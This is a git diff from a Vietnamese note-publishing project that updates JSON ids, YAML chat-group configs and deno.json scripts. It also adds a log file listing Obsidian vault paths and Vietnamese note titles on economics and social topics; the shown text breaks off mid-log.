[ @@ -13257,7 +13711,7 @@ "Phương thức tạo": "Lấy trong cấu hình nơi đăng", "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4d" + "id": "4o" }, { "Tên nơi đăng": [ @@ -13299,7 +13753,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4e" + "id": "4p" }, { "Tên nơi đăng": [ @@ -13341,7 +13795,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4f" + "id": "4q" }, { "Tên nơi đăng": [ @@ -13382,7 +13836,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4g" + "id": "4r" }, { "Tên nơi đăng": [ @@ -13396,7 +13850,7 @@ "Phương thức tạo": "Lấy trong cấu hình nơi đăng", "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4h" + "id": "4s" }, { "Tên nơi đăng": [ @@ -13437,7 +13891,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4i" + "id": "4t" }, { "Tên nơi đăng": [ @@ -13452,7 +13906,7 @@ "Phương thức tạo": "Lấy trong cấu hình nơi đăng", "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4j" + "id": "4u" }, { "Tên nơi đăng": [ @@ -13486,7 +13940,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4k" + "id": "4v" }, { "Tên nơi đăng": [ @@ -13520,6 +13974,6 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4l" + "id": "4w" } ] \ No newline at end of file diff --git "a/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/N\306\241i \304\221\304\203ng/T\341\273\225 ch\341\273\251c/B\341\272\241n b\303\250 Qu\341\272\243 C\341\272\247u.yaml" "b/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/N\306\241i \304\221\304\203ng/T\341\273\225 ch\341\273\251c/B\341\272\241n b\303\250 Qu\341\272\243 C\341\272\247u.yaml" index d2255e2..9d94d01 100644 --- "a/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/N\306\241i \304\221\304\203ng/T\341\273\225 ch\341\273\251c/B\341\272\241n b\303\250 Qu\341\272\243 C\341\272\247u.yaml" +++ "b/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/N\306\241i \304\221\304\203ng/T\341\273\225 ch\341\273\251c/B\341\272\241n b\303\250 Qu\341\272\243 C\341\272\247u.yaml" @@ -8,9 +8,13 @@ Chat: - Nguyễn Thanh An - Duy Phong - Lưu Viết Huy + - Nguyễn Đức Thịnh + - Ha Nhu Minh Discord: Tài khoản: - Đỗ Hàng Minh Trí + Máy chủ: + - Cloverse LinkedIn: Zalo: Tài khoản: diff --git "a/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/N\306\241i \304\221\304\203ng/T\341\273\225 ch\341\273\251c/Qu\341\272\243 C\341\272\247u.yaml" "b/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/N\306\241i \304\221\304\203ng/T\341\273\225 ch\341\273\251c/Qu\341\272\243 C\341\272\247u.yaml" index e61105b..7aca3bd 100644 --- "a/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/N\306\241i \304\221\304\203ng/T\341\273\225 ch\341\273\251c/Qu\341\272\243 C\341\272\247u.yaml" +++ "b/C\341\272\245u h\303\254nh v\303\240 d\341\273\257 li\341\273\207u/N\306\241i \304\221\304\203ng/T\341\273\225 ch\341\273\251c/Qu\341\272\243 C\341\272\247u.yaml" @@ -59,6 +59,7 @@ Chat: Messenger: Tài khoản: Nhóm: + - Ban cố vấn giao tiếp Cộng đồng: - Rối loạn nhân cách tâm trạng không ổn định - BPD: - Đoạn chat chung diff --git a/deno.json b/deno.json index fec56e6..7d20fbd 100644 --- a/deno.json +++ b/deno.json @@ -10,6 +10,7 @@ "update": "deno run -A --unstable-kv -r https://fresh.deno.dev/update .", "test": "deno run -A --unstable-kv --watch ", "run": "deno run --allow-all --unstable-kv --unstable-temporal 'Code chạy trên local, server, KV\\mod.ts'", + "runLog": "deno run --allow-all --unstable-kv --unstable-temporal 'Code chạy trên local, server, KV\\mod.ts' > log.txt", "baiDang": "deno run -A --unstable-kv --watch '.\\Code chạy trên local, server, KV\\Bài đăng\\c. Tạo từ cấu hình nơi đăng.ts'", "testurl": "deno run -A --unstable-kv --watch '.\\Code chạy trên client\\URL, HTML\\Lấy thông tin từ URL\\mod.test.ts'" }, diff --git a/log.txt b/log.txt new file mode 100644 index 0000000..515aa95 --- /dev/null +++ b/log.txt @@ -0,0 +1,34945 @@ +Đã nạp thiết lập vault undefined tại D:\QC supplements\Vaults\A Vùng đất Quả Cầu\v3 +Đã nạp thiết lập vault Tồn tại trong thế giới tư bản tại D:\QC supplements\Vaults\B Đáp ứng nhu cầu\B Tồn tại trong thế giới tư bản +Đã nạp thiết lập vault Obsidian, quản lý dự án và công cụ nghĩ tại D:\QC supplements\Vaults\C Hệ thống tri thức cộng đồng\Awesome Vietnam +Đã nạp thiết lập vault Obsidian, quản lý dự án và công cụ nghĩ tại D:\QC supplements\Vaults\C Hệ thống tri thức cộng đồng\C Obsidian, quản lý dự án và công cụ nghĩ +Đã nạp thiết lập vault Tiếp thị số, xử lý dữ liệu và lập trình tại D:\QC supplements\Vaults\C Hệ thống tri thức cộng đồng\C Tiếp thị số, xử lý dữ liệu và lập trình +Đã nạp thiết lập vault Obsidian, quản lý dự án và công cụ nghĩ tại D:\QC supplements\Vaults\G Nghiên cứu liên ngành\G Khác +Đã nạp thiết lập vault Vật lý và ẩn dụ liên ngành tại D:\QC supplements\Vaults\G Nghiên cứu liên ngành\G Vật lý và ẩn dụ trong triết học + +🚀: false +[ "", "Tồn tại trong thế giới tư bản" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh doanh có trách nhiệm. Hỗ trợ người yếu thế", + "ESG" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh doanh có trách nhiệm. Hỗ trợ người yếu thế", + "Hỗ trợ người yếu thế", + "Các câu hỏi về việc thành lập quỹ tín dụng, nền kinh tế phi chính thức, bản chất CSR của doanh nghiệp và tâm lý con người về tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh doanh có trách nhiệm. Hỗ trợ người yếu thế", + "Hỗ trợ người yếu thế", + "Có những lúc câu hỏi chất vấn thì người kia lại bận, chỉ tập trung vào những câu người ta quan trọng hơn. Mà thấy bị vậy thì lại dễ nghi họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh doanh có trách nhiệm. Hỗ trợ người yếu thế", + "Hỗ trợ người yếu thế", + "Công đoàn là tổ chức bảo vệ quyền lợi người lao động" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh doanh có trách nhiệm. Hỗ trợ người yếu thế", + "Hỗ trợ người yếu thế", + "Không có tổ chức nào có đối tượng thụ hưởng là người đang nợ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh doanh có trách nhiệm. Hỗ trợ người yếu thế", + "Hỗ trợ người yếu thế", + "Luật pháp chỉ hiểu về kinh doanh, chứ ko phải là phi lợi nhuận. Chính thức hoá khi lập quỹ là chết với luật tín dụng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh doanh có trách nhiệm. Hỗ trợ người yếu thế", + "Hỗ trợ người yếu thế", + "Phạm Trường Sơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh doanh có trách nhiệm. Hỗ trợ người yếu thế", + "Hỗ trợ người yếu thế", + "❓Điều gì khiến một người có tiền nhiều tới mức đầu tư cũng ko hết vẫn ko muốn cho tiền?Tại sao việc đáp ứng nhu cầu người khác lại không mạnh hơn việc tối đa hoá tiền?" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Chúng ta có cảm xúc cổ đại, thiết chế thời trung đại và công nghệ của chúa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Công nghệ vừa làm tăng sự phức tạp của vấn đề, vừa làm giảm khả năng hiểu được vấn đề của chúng ta" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "CORE Econ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Cho vay ngang hàng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Con số cho tiền cho thiện nguyện dựa trên cộng đồng không tăng lên dù có rất nhiều nền tảng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Kể cả khi AI có thể làm mất việc, thì những ngành khác cũng sẽ tạo ra nhiều loại việc khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Mọi người vẫn nghĩ công nghệ mới là AI, nhưng nó chỉ là một công nghệ trong rất nhiều các loại công nghệ mới khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Năm 1990 UNDP gắn phát triển vào phát triển con người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nếu bạn thấy được ý nghĩa trong công việc bạn làm thì bạn sẽ không lo lắng về người dùng chùa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Chưa có một lý thuyết chắc chắn nào về nền kinh tế chăm sóc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Các công việc nấu nướng, dọn dẹp, chăm sóc trẻ em, người già và người bệnh tại gia đình thường được hiểu là công việc chăm sóc không lương" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Công việc chăm sóc không lương thường vô hình trong các chính sách và ngân sách bởi vì nó không nằm trong định nghĩa và đo lường theo cách truyền thống của nền kinh tế" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Công việc chăm sóc không lương được gán cho là không có giá trị về kinh tế bất chấp một thực tế về những đóng góp to lớn của công việc này cho nền kinh tế và xã hội" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Nhiều thảo luận về nền kinh tế chăm sóc chỉ nói đến lợi nhuận tiềm năng của nó, chứ không để ý vào các bất bình đẳng xã hội từ việc thiếu để ý và quan tâm đến các công việc chăm sóc" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Sự khác biệt giữa nền kinh tế chăm sóc và các ngành dịch vụ là nó tập trung vào người yếu thế, và hệ thống hoá các khái niệm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Tính trung bình, phụ nữ làm công việc chăm sóc không được trả lương nhiều hơn ít nhất hai lần rưỡi so với nam giới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế chăm sóc", + "Với sự phát triển của AI, các ngành về chăm sóc sẽ trở thành lợi thế" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế hậu khan hiếm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế không dùng tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế phi chính thức bao gồm các hoạt động kinh tế không có đăng ký về mặt pháp lý, không có số liệu thống kê và không được kiểm soát bởi nhà nước" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "Kinh tế số là kinh tế dữ liệu (data-driven economy)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "Ngân hàng trung ương quản lý được digital currency, nhưng không phải crypto" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "Sự khác nhau giữa công nghệ thông tin và chuyển đổi số" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "Tài chính phi tập trung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế số", + "❓Quyền riêng tư có phải là bất lợi với các doanh nghiệp nhỏ vì họ không có dữ liệu khách hàng, nhưng lại là lợi thế của doanh nghiệp lớn để họ độc quyền khai thác khách hàng đó?" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Chi phí chuyển đổi sang năng lượng xanh không đơn giản" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Các thảo luận về nền kinh tế xanh ít đề cập đến việc giảm tải áp lực cho mọi người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Dần dần khái niệm kinh tế xanh được đánh đồng với tăng trưởng xanh" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Rác thải nhựa từ một toà nhà vào buổi trưa là khổng lồ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Nền kinh tế xanh", + "Để bắt kịp những công nghệ mới, thường 2 năm rà soát lại một lần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "The non-monetary economy, typically embedded in a monetary economy, undertakes tasks that benefit society (whether through producing services, products, or making investments) that the monetary economy does not value" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Tỉ lệ mua khi có ủng hộ giảm tăng vì người mua không muốn mình bị đánh giá là đứa tồi. Nhưng những người trả tiền trả nhiều tiền hơn hẳn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Xu thế kinh tế mới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Các loại hình kinh tế mới", + "Đi cùng với khái niệm bền vững là khan hiếm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Chúng ta cần có tiền, nhưng không cần giàu có" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Chỉ khi có sự trao đổi thì giá cả mới xuất hiện" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Con người không giả định miễn phí là kém chất lượng với sản phẩm số" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Các từ ngữ do chủ nghĩa tân tự do sử dụng thường có tính che giấu nhiều hơn là được làm sáng tỏ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Giá cao làm tăng kỳ vọng, nhưng không làm thay đổi cảm nhận về chất lượng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Một công ty không có sản phẩm tốt nhưng tiếp thị tốt sẽ khiến người dùng không biết về sản phẩm tốt hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Những gì “thị trường muốn” có xu hướng đồng nghĩa với những gì các doanh nghiệp và ông chủ của nó muốn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Những sản phẩm quá mới mẻ khó theo hình thức trả giá tuỳ tâm được, vì người mua không có cách nào để đoán giá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Những tài nguyên vô hạn sẽ làm những tài nguyên không vô hạn đi kèm với nó trở nên khan hiếm hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Nền kinh tế thị trường khác với xã hội thị trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Sự hiệu quả của loại cạnh tranh tạo động lực cải tiến sản phẩm hoàn toàn phụ thuộc vào sự truyền miệng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Sự hấp dẫn của tư duy thị trường ở chỗ nó không phán xét" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Thị trường không chỉ phân bố hàng hoá mà còn bộc lộ, khuyến khích con người có những thái độ nhất định với các loại hàng hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Thị trường không định giá. Ta mới là người định giá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Đôi khi, giá trị thị trường lấn át những giá trị phi thị trường đáng quan tâm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "Độc quyền, ngoại tác, hàng hoá công, thông tin bất cân xứng, mất cân bằng vĩ mô là các thất bại của thị trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Giá trị, giá cả, thị trường", + "❓Miễn phí, trả tuỳ tâm, tự định giá sức lao động" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Cảm giác mất mát là cảm giác tiêu cực" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Cảm giác đáp ứng nhu cầu người khác là cảm giác tích cực" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Kinh tế học hành vi chủ yếu ứng dụng thiên kiến và suy luận tắt của con người vào kinh tế học, chứ chưa phải là toàn bộ tâm lý con người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Nhu cầu rõ ràng về tiền làm nhức đầu tất cả các bên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Ta muốn cái được phải chắc chắn, trong khi cái mất ta có thể mạo hiểm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền có nhiệm vụ làm trung gian cho việc trao đổi nhu cầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền là một động lực ngoại sinh cực kỳ tốt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền làm người sở hữu tưởng rằng mình độc lập" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền làm thay đổi mối quan hệ từ việc đáp ứng nhu cầu lẫn nhau sang trao đổi hàng hoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền tạo cảm giác phải cạnh tranh để có tài nguyên hơn là hợp tác để có nhiều tài nguyên hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền tạo ra những cam kết phải đáp ứng mà nhiều khi mình không còn nhu cầu nữa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền đơn giản hoá quá trình đáp ứng nhu cầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Tiền được lưu ở dạng vật chất, nhưng nhu cầu là một trạng thái tinh thần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Từ khi có tiền, chúng ta mới có sự cạnh tranh để đáp ứng nhu cầu người khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Việc bán hàng và việc đáp ứng nhu cầu người dùng không nhất thiết phải đi cùng với nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Việc chia cổ phần làm ta chỉ còn chú ý vào động lực ngoại sinh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "Việc mất tiền làm tâm lý con người bị đau dù có thể nó vô lý" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế học tâm lý", + "❓Việc được tự định giá sức lao động của mình khiến người lao động cảm thấy công sức mình được công nhận xứng đáng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế phi chính thức", + "Nhiều tiền hơn có làm tăng thêm hạnh phúc, nhưng việc có những mối quan hệ chất lượng đem lại nhiều hạnh phúc hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế phi chính thức", + "Nền kinh tế không dùng tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế phi chính thức", + "Nền kinh tế phi chính thức bao gồm các hoạt động kinh tế không có đăng ký về mặt pháp lý, không có số liệu thống kê và không được kiểm soát bởi nhà nước" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế phi chính thức", + "Nền kinh tế phi chính thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "Bảo hộ thương mại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "Cái được đem ra toàn cầu hoá là luật" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "GDP của VN tăng trưởng rất nhanh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "Nói về hội nhập kinh tế của Việt Nam có thể rất ngắn, chỉ cần 2 slide" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Kinh tế vĩ mô, toàn cầu hoá", + "Phi toàn cầu hoá là khi người ta không quan tâm đến luật nữa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Chiến tranh tiền tệ là một khái niệm không khoa học" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Các giáo trình kinh tế hiện nay tập trung vào các mô hình toán học chứ không phải là hành vi con người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Công việc thay đổi là vì những người xung quanh thay đổi, chứ không nhất thiết là vì có công nghệ mới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Hệ thống tài phiệt nắm quyền qua các ngân hàng trung ương" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Lương nghĩa gốc là thức ăn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao động", + "Kinh tế", + "Lịch sử, triết học, chính trị, xã hội học trong kinh tế", + "Ngân hàng trung ương châu Âu nằm ở Đức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Kinh tế. Tâm lý học quản lý và lao 